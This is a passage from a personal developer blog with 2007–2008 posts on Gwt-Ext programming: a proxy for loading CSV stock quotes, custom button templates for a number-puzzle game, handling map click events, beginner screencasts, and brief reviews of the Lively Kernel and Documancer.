It is invoked by an HttpProxy on the client as follows:

1
2
3
4
5
6
...
String url = "http://download.finance.yahoo.com/d/quotes.csv?s=INFY+XOM+BBDb.TO+JNJ+MSFT+GOOG+YHOO&f=nd1l1";
DataProxy proxy = new HttpProxy("redirect?url=" + url);
 
Store store = new Store(proxy, c);	// CustomReader c from above
...

Once we have the utility servlet and CustomReader as part of the project, I think it will be relatively easier to populate stores with any arbitrary format data. Feel free to drop your comments / suggestions. I would love to hear them.

Download Eclipse project from Gwt-Ext.com or Rapidshare

Reference: GwtProxy by michal.bergmann


May 16 2008

Gwt-Ext and Number Madness

Tag: Ext,Gwt,Java,Javascript,Programming,WebAbhijeet Maharana @ 11:52 pm

Gwt-Ext Number Madness screenshotThis is the 3rd form of my game Number madness. I had first written it using TurboC during the vacation after junior college. And then as a Firefox extension. Both are available in the projects section.

Using Gwt-Ext for writing something like this sounds a bit silly. But it did make me learn something new: button templates; thanks to gwtext+ and sjivan. I have described the program below in brief. You can download Eclipse project from the link at the end of this post.

An Ext button is made up of a table with 3 columns. All three columns have parts of the button sprite as their background image and the center TD holds a <button> element. You can see this template in Button.java above the setTemplate() method definition:

1
2
3
4
5
6
7
8
9
10
<table border="0" cellpadding="0" cellspacing="0" class="x-btn-wrap">
	<tbody>
		<tr>
	     		<td class="x-btn-left"><i>&#160;</i></td>
	     		<td class="x-btn-center">
	     			<em unselectable="on"><button class="x-btn-text" type="{1}">{0}</button></em></td>
	     		<td class="x-btn-right"><i>&#160;</i></td>
	     	</tr>
	</tbody>
</table>

We can override this template to make the button look as we want it to. My modified template looks as shown below. There is only one extra CSS class for the table (see notes at end):

1
2
3
4
5
6
7
8
9
10
<table border="0" cellpadding="0" cellspacing="0" class="x-btn-wrap mybutton">
	<tbody>
		<tr>
	     		<td class="x-btn-left"><i>&#160;</i></td>
	     		<td class="x-btn-center">
	     			<em unselectable="on"><button class="x-btn-text" type="{1}">{0}</button></em></td>
	     		<td class="x-btn-right"><i>&#160;</i></td>
	     	</tr>
	</tbody>
</table>

This enables us to use CSS nesting to define x-btn-left, x-btn-center, x-btn-right and x-btn-text with the attributes we want while preventing the normal buttons from being affected. Thus we can use both Ext’s buttons and out custom buttons at the same time. I have defined them as:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
.mybutton .x-btn-right {
	background: transparent url('button_right_06.png') no-repeat scroll right; 
	height: 150px;
	padding-right: 15px;
}
 
.mybutton .x-btn-left {
	background: transparent url('button_left_06.png') no-repeat scroll right; 
	height: 150px;
	padding-right: 15px;
}
 
.mybutton .x-btn-center {
	background: transparent url('button_06.png') repeat-x center; 
	height:150px;
	width:80px;
	text-align:center;
}
 
.mybutton .x-btn-text {
	line-height: 150px;
	font-family: Arial, Helvetica, sans-serif;
	font-size:60px;
	font-weight:bold;
}

I have used custom images that make up the button’s left, center and right components. I have also changed the appearance of the text displayed on the button.

Now that we have the buttons which make up the game board, lets take a brief look at the rest of the game. An integer array holds the numbers that map to each button on the board. This array is populated randomly at start. Although the board is 2D, I decided to use a 1D array as it turned out to be slightly simpler while populating the random numbers. So arr2D[i][j] becomes arr1D[i * numcols + j] where numcols is the number of columns in each row.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
private void generateRandomNumbers()
{
	int i,j;
	int temp;
	boolean suitable;
	int total = numRows*numCols-1;
 
	for(i=0;i<=total;i++)
	{
		do
		{
			suitable = true;
			temp = (int) Math.round(Math.random() * total);
			for(j=0;j<i;j++)
			{
				if(numbers[j] == temp)
				{
					suitable = false;
					break;
				}
			}
		}while(!suitable);
 
		numbers[i] = temp;
	}
}

Once the array is ready, I set the Panel’s layout to TableLayout with 3 columns and call createGrid() to create buttons that make up the grid. Every button knows its (row,column) position and the blank square is made up of an invisible button.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
private void createGrid()
{
	for(int i=0; i<numRows; ++i)
	{
		for(int j=0; j<numCols; ++j)
		{
			int index = i*numCols + j;
 
			String label = String.valueOf(numbers[i*numCols + j]);
			final Button btn = new Button(label);
			btn.setTemplate(buttonTemplate);
 
			// listener is an instance of SquareListener
			btn.addListener(listener);
 
			// every button keeps track of its row and column number
			final int finali = i, finalj=j;
			btn.addListener("render", new Function(){
				public void execute() {
					JavaScriptObjectHelper.setAttribute(btn.getJsObj(), "row", finali);
					JavaScriptObjectHelper.setAttribute(btn.getJsObj(), "col", finalj);
				}
			});
 
			// empty square = invisible button
			// maintain a class-level reference to the empty square
			if (numbers[index] == 0)
			{
				emptyButton = btn;
				btn.setVisible(false);
			}
 
			add(btn);
		}
	}
}

The button listener checks if the clicked button is adjacent to the empty square. If it is, it swaps numbers in the array and on the buttons. The invisible button is now made visible and clicked button becomes invisible. I have added a fade in and fade out effect. However, this is shaky and sometimes the button doesn’t fade in for too long. It does irritate a bit. After this, the endgame is checked i.e. if numbers in the array are in ascending order.

I have left out some code to keep the post short. You can download the complete project from Gwt-Ext.com or Rapidshare.

Note:

  1. Since our new template just has an extra CSS class, the whole template thing could be avoided by calling btn.setCls(“mybutton”). This was an after-thought when I was done playing with the template.
  2. When you change the template, keep the <button> element otherwise you will get an exception at load time
    1
    2
    3
    4
    5
    
    [ERROR] Unable to load module entry point class com.maharana.gwtextnumbermadness.client.MainModule (see associated exception for details)
    com.google.gwt.core.client.JavaScriptException: JavaScript TypeError exception: btnEl has no properties
    	at com.google.gwt.dev.shell.ModuleSpace.invokeNative(ModuleSpace.java:481)
    	at com.google.gwt.dev.shell.ModuleSpace.invokeNativeHandle(ModuleSpace.java:225)
    	...
  3. Also keep the x-btn-center CSS class name otherwise you will get an exception when the button is clicked
    1
    2
    3
    4
    5
    
    [WARN] Exception thrown into JavaScript
    com.google.gwt.core.client.JavaScriptException: JavaScript TypeError exception: this.el.child("td.x-btn-center " + this.buttonSelector) has no properties
    	at com.google.gwt.dev.shell.ModuleSpace.invokeNative(ModuleSpace.java:481)
    	at com.google.gwt.dev.shell.ModuleSpace.invokeNativeVoid(ModuleSpace.java:270)
    	...

References:

  1. Images for new button template: http://www.jankoatwarpspeed.com/post/2008/04/30/make-fancy-buttons-using-css-sliding-doors-technique.aspx
  2. CSS nesting: http://webdesignfromscratch.com/css-inheritance-cascade.cfm
  3. Centering block level elements: http://dorward.me.uk/www/centre/#content

Do let me know if you have any corrections or suggestions.


May 01 2008

Gwt-Ext and Google Maps – II (handle click)

Tag: Ext,Gwt,Java,Javascript,Maps,Programming,WebAbhijeet Maharana @ 5:54 pm

Lat and Lon info being shown in a message box
This post is related to my earlier post on Gwt-Ext and Google Maps. While browsing the Gwt-Ext forum, I came across this thread with a simple-looking question from Martin: How can I get the LatLonPoint from a map when a user clicks on the map ??

I looked at the available methods to see if I could figure this out. When I realized I wasn’t getting anywhere, I tried looking at the source to figure out what was going on. I found that Mapstraction does have a facility to register callback functions for events. Below code snippets are from mapstraction.js.

1
2
3
4
5
6
7
8
9
10
11
Mapstraction.prototype.addEventListener = function(type, func) {
    var listener = new Array();
    listener.push(func);
    listener.push(type);
    this.eventListeners.push(listener);
    switch (this.api) {
    case 'openlayers':
        this.maps[this.api].events.register(type, this, func);
        break;
    }
}

When the callback functions registered for ‘click’ event are invoked, they are supplied with a LatLonPoint instance with the latitude and longitude information of the location which was clicked. See line 4 below.

1
2
3
4
5
6
7
Mapstraction.prototype.clickHandler = function(lat, lon, me) {
    for (var i = 0; i < this.eventListeners.length; i++) {
        if (this.eventListeners[i][1] == 'click') {
            this.eventListeners[i][0](new LatLonPoint(lat, lon));
        }
    }
}

However, this argument is lost because of the way Gwt-Ext API exposes this functionality: MapPanel class registers a function with no parameters. Below code snippet is from MapPanel.java. Note the native method.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public void addEventListener(final String event, final Function listener) {
	if (!mapRendered) {
		addListener(MAP_RENDERED_EVENT, new Function() {
			public void execute() {
				doAddEventListener(event, listener);
			}
		});
	} else {
		doAddEventListener(event, listener);
	}
}
 
private native void doAddEventListener(String event, Function listener) /*-{
        var map = this.@com.gwtext.client.widgets.map.MapPanel::mapJS;
        map.addEventListener(event, function() {
            listener.@com.gwtext.client.core.Function::execute()();
        });
}-*/;

The solution is to override these two methods. For that we need an interface with an execute() method that can accept arguments. I added an interface ‘OneArgFunction’ that does this. We need a proper fix for this so that we can handle more arguments. For now, a one-argument method will suffice.

1
2
3
4
5
package com.maharana.gwtextmaps.client;
 
public interface OneArgFunction {
	public void execute(com.google.gwt.core.client.JavaScriptObject arg);
}

In the overridden methods below, I register a function which accepts the LatLonPoint instance as parameter and hands it over to the execute() method for further processing. Then I invoke the overridden addEventListener() to register an event handler that places a new marker and centers the map on the clicked location. GoogleMap inherits from MapPanel.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
mapPanel = new GoogleMap() {
	public void addEventListener(final String event, final OneArgFunction listener) {
		if (!this.isRendered()) {
			addListener(MAP_RENDERED_EVENT, new Function() {
				public void execute() {
					doAddEventListener(event, listener);
				}
			});
		} else {
			doAddEventListener(event, listener);
		}
	}
 
	private native void doAddEventListener(String event, OneArgFunction listener) /*-{
	      	var map = this.@com.gwtext.client.widgets.map.MapPanel::mapJS;
	      	map.addEventListener(event, function(llp) {
	            	listener.@com.maharana.gwtextmaps.client.OneArgFunction::execute(Lcom/google/gwt/core/client/JavaScriptObject;)(llp);
	      	});
	}-*/;
 
	// constructor - attach event listener
	{
		addEventListener("click", new OneArgFunction(){
			public void execute(JavaScriptObject arg) {
				LatLonPoint llp = new LatLonPoint(arg);
				mapPanel.setCenterAndZoom(llp, mapPanel.getZoom());
				mapPanel.addMarker(new Marker(llp));
				MessageBox.alert("Clicked Location", "Lat: " + llp.getLat() + "<br>Lon: " + llp.getLon());
			}
		});
	}
};

This does the trick. I am not using any Google Maps specific code here so it should work for other providers as well. Do let me know if I have missed something obvious or got something wrong.

I have modified the demo I posted in my earlier blog entry to include this. You can download it from Gwt-Ext.com or Rapidshare.


Mar 17 2008

Gwt-Ext screencasts for beginners

Tag: Ext,Gwt,Java,Javascript,Links,Linux,Maps,Programming,Ubuntu,WebAbhijeet Maharana @ 8:51 pm

I have started out with Gwt-Ext and thought I will record some screencasts. These are for beginners who may need a hand when they are starting out and are anxious to jump right into code. The screencasts have been recorded on Ubuntu Feisty with Eclipse Europa.

There are 3 screencasts in avi and ogg format.

  1. First screencast shows the installation of Gwt 1.4 and Cypal Studio for Gwt. Cypal Studio is an Eclipse plugin that automates most of the tasks associated with GWT like adding a module and adding a remote service. In the screencast, I create a Gwt project using this plugin.
  2. Second screencast shows how to add the ExtJS Javascript library (2.0) and Gwt-Ext Java library (2.0.1) to the project. In the screencast, I create a simple Ext form with some text fields and a button.
  3. Third screencast (added on March 22) shows how to send form data back to the server. In the screencast, I validate form fields using regular expressions / Ext Vtype, add a remote service and then save form data in an Oracle database using the remote service.

    You can read this post for installing Oracle 10g XE on Ubuntu Feisty.

All screencasts are hosted at Rapidshare. Sanjiv Jivan, the author of Gwt-Ext has offered to host them at gwt-ext.com. I think the files are quite big and I am not well-versed with audio/video formats and parameters. If you know any way to reduce file size while maintaining the quality of screencasts, do let me know.

Download screencasts from Rapidshare.
Download Eclipse projects shown in the screencasts from Gwt-Ext.com or Rapidshare.

Update:
Sanjiv has been kind to host them at http://www.gwt-ext.com/screencasts/.
I have also edited the gwt-ext wiki accordingly. (See comments)

Related links:
Google Web Toolkit
ExtJS Javascript library
Gwt-Ext
Cypal Studio for Gwt


Dec 04 2007

Lively Kernel and Documancer

Tag: Javascript,Links,Linux,Programming,WebAbhijeet Maharana @ 10:47 pm

Lively Kernel

From being used in web pages to add “some” interactivity to being used in a web based “kernel”, Javascript has come a long way. A team at SUN has developed a kernel that provides an execution environment for applications meant for the browser. From the Sun Labs Lively Kernel page, “The Sun Labs Lively Kernel is a new web programming environment developed at Sun Microsystems Laboratories. The Lively Kernel supports desktop-style applications with rich graphics and direct manipulation capabilities, but without the installation or upgrade hassles that conventional desktop applications have.” Written entirely in Javascript, the Lively Kernel emphasizes on treating Web applications as real applications and aims to build a platform using a minimum number of technologies. So its Javascript for most of the things.

It comes with the ‘Morphic’ graphic library which was originally written for the ‘Self’ system at Sun. From the same page, “Morphic is a user interface framework that supports composable graphical objects, along with the machinery required to display and animate these objects, handle user inputs, and manage underlying system resources such as displays, fonts and color maps. A key goal of Morphic is to make it easy to construct and edit interactive graphical objects, both by direct manipulation and from within programs.”

It even includes an IDE that allows JavaScript applications to be inspected and modified from within the system itself. It is currently supported on Safari 3.0.3 public beta release. Runs on Firefox but has a lot of related nasty bugs and locked my browser. IE support is yet to be added.

Screenshot (image is located at SUN’s site)

Related links:

Documancer

This is an invaluable tool in any programmer’s toolkit. It is a documentation browser which supports HTML, DevHelp, Info pages, Manual pages, remote WWW sites and pydoc. But the feature that got me hooked is the full-text search. Specially when it comes to HTML documentation such as those created with javadoc. Documentation for the Java APIs is also available in WinHelp and HTMLHelp formats which enable searching. But for other libraries which use javadoc to generate their documentation, it is a pain to search for something. Specially when you are new to the library. That is where this gem shines.

Its UI is based on Gecko, Mozilla’s HTML rendering engine and it presents documentation of all formats in the same way. It supports bookmarks as well. It is implemented in wxPython and is available for Unix and Windows. It comes with a nice installer which takes care of all dependencies.

Related links:

Apparently, there is another Gecko! (that sells clothes) which comes before the Mozilla page in a Google search for “gecko home page”.


Next Page »